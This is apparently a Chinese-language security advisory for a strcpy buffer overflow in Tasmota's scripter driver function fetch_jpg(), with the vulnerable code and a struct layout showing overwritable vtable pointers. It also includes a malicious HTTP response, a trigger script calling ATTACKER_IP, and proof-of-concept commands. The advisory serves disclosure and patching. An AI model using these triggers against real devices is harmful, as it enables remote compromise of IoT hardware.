CVE: CVE-2026-38426
严重性: 严重(CVSS 9.8)
产品: Arendst Tasmota
受影响版本: <= 15.3.0.3
文件: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
函数: fetch_jpg() — case 0(初始连接)
作者: Saidakbarxon Maxsudxonov
披露: 负责任披露——已在发布前报告给 Tasmota
Tasmota 的脚本驱动程序(scripter driver)中的 fetch_jpg() 函数存在经典的 strcpy() 缓冲区溢出漏洞。从 HTTP Content-Type 响应头中提取的 MJPEG boundary 字符串在没有任何长度校验的情况下被复制到固定的 40 字节缓冲区(boundary[40])中。控制 MJPEG HTTP 服务器的攻击者可以提供超过 39 个字符的 boundary 字符串来溢出缓冲区并破坏相邻的堆内存——从而有可能在 ESP32 上实现远程代码执行。
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
使用攻击者控制的值覆盖 WiFiClient 或 HTTPClient 的 vtable 指针后,一旦随后调用任何虚方法(read()、write()、connect()),便会触发 RCE。
攻击者运行一个 HTTP 服务器,Tasmota 通过 fetchjp() 连接该服务器。服务器返回的 Content-Type 头中包含一个超过 39 个字符的 boundary 字符串:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Tasmota 的 strcpy() 将 50 多个字节复制到 40 字节的 boundary 缓冲区中,溢出到相邻的结构体字段。
通过 Tasmota 脚本触发:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
完整实现请参阅 CVE-2026-38426_poc.py。